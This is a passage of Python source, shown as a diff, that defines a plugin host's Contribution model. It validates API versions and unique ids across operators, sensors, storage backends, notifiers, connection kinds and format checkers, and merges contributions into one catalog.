"""A named credential record of a contributed kind whose secret fields the server redacts."""
|
|
641
|
+
|
|
642
|
+
id: ClassVar[str]
|
|
643
|
+
config_model: ClassVar[type[BaseModel]]
|
|
644
|
+
|
|
645
|
+
@abstractmethod
|
|
646
|
+
async def check(self, config: BaseModel) -> HealthReport:
|
|
647
|
+
"""Verify that the configured connection can reach its external system."""
|
|
648
|
+
...
|
|
649
|
+
|
|
650
|
+
|
|
651
|
+
type AnyOperator = Operator[Any, Any]
|
|
652
|
+
type AnySensor = Sensor[Any, Any]
|
|
653
|
+
|
|
654
|
+
|
|
655
|
+
class Contribution(BaseModel):
|
|
656
|
+
"""Everything one plugin adds, across all six surfaces, gathered by the host at startup."""
|
|
657
|
+
|
|
658
|
+
model_config = ConfigDict(arbitrary_types_allowed=True, frozen=True)
|
|
659
|
+
|
|
660
|
+
api_version: int = Field(default=API_VERSION, ge=1)
|
|
661
|
+
operators: list[AnyOperator] = Field(default_factory=list[AnyOperator])
|
|
662
|
+
sensors: list[AnySensor] = Field(default_factory=list[AnySensor])
|
|
663
|
+
storage_backends: list[StorageBackend] = Field(default_factory=list[StorageBackend])
|
|
664
|
+
notifiers: list[Notifier] = Field(default_factory=list[Notifier])
|
|
665
|
+
connection_kinds: list[ConnectionKind] = Field(default_factory=list[ConnectionKind])
|
|
666
|
+
formats: dict[str, FormatCheck] = Field(default_factory=dict[str, FormatCheck])
|
|
667
|
+
"""JSON Schema format checkers this plugin adds, by format name. A schema that writes
|
|
668
|
+
``format: <name>`` then asserts wherever the contributing pack is installed, and stays a
|
|
669
|
+
passing annotation on an instance without it."""
|
|
670
|
+
|
|
671
|
+
@field_validator("api_version")
|
|
672
|
+
@classmethod
|
|
673
|
+
def _check_api_version(cls, value: int) -> int:
|
|
674
|
+
"""Reject a contribution written against a different revision of this contract."""
|
|
675
|
+
if value != API_VERSION:
|
|
676
|
+
raise ValueError(f"unsupported api_version {value}; this host speaks {API_VERSION}")
|
|
677
|
+
return value
|
|
678
|
+
|
|
679
|
+
@model_validator(mode="after")
|
|
680
|
+
def _check_ids(self) -> "Contribution":
|
|
681
|
+
"""Reject a contribution whose blocks or surfaces collide on an id."""
|
|
682
|
+
_require_unique("block id", [*(op.spec.id for op in self.operators), *(se.spec.id for se in self.sensors)])
|
|
683
|
+
_require_unique("storage scheme", [backend.scheme for backend in self.storage_backends])
|
|
684
|
+
_require_unique("notifier id", [notifier.id for notifier in self.notifiers])
|
|
685
|
+
_require_unique("connection kind id", [connection.id for connection in self.connection_kinds])
|
|
686
|
+
_require_unique("format", list(self.formats))
|
|
687
|
+
return self
|
|
688
|
+
|
|
689
|
+
def block_ids(self) -> list[str]:
|
|
690
|
+
"""List every operator and sensor id this contribution registers."""
|
|
691
|
+
return [*(operator.spec.id for operator in self.operators), *(sensor.spec.id for sensor in self.sensors)]
|
|
692
|
+
|
|
693
|
+
|
|
694
|
+
def _require_unique(label: str, values: list[str]) -> None:
|
|
695
|
+
"""Raise when a list of contributed ids contains a duplicate."""
|
|
696
|
+
seen: set[str] = set()
|
|
697
|
+
for value in values:
|
|
698
|
+
if value in seen:
|
|
699
|
+
raise ValueError(f"duplicate {label} {value!r} in contribution")
|
|
700
|
+
seen.add(value)
|
|
701
|
+
|
|
702
|
+
|
|
703
|
+
def merge_contributions(contributions: list[Contribution]) -> Contribution:
|
|
704
|
+
"""Merge every plugin's contribution into the single catalog the host dispatches from."""
|
|
705
|
+
merged: dict[str, list[Any]] = {
|
|
706
|
+
"operators": [],
|
|
707
|
+
"sensors": [],
|
|
708
|
+
"storage_backends": [],
|
|
709
|
+
"notifiers": [],
|
|
710
|
+
"connection_kinds": [],
|
|
711
|
+
}
|
|
712
|
+
for contribution in contributions:
|
|
713
|
+
for surface, collected in merged.items():
|
|
714
|
+
collected.extend(getattr(contribution, surface))
|
|
715
|
+
formats: dict[str, FormatCheck] = {}
|
|
716
|
+
_require_unique("format", [name for contribution in contributions for name in contribution.formats])
|
|
717
|
+
for contribution in contributions:
|
|
718
|
+
formats.update(contribution.formats)
|
|
719
|
+
return Contribution(api_version=API_VERSION, formats=formats, **merged)
|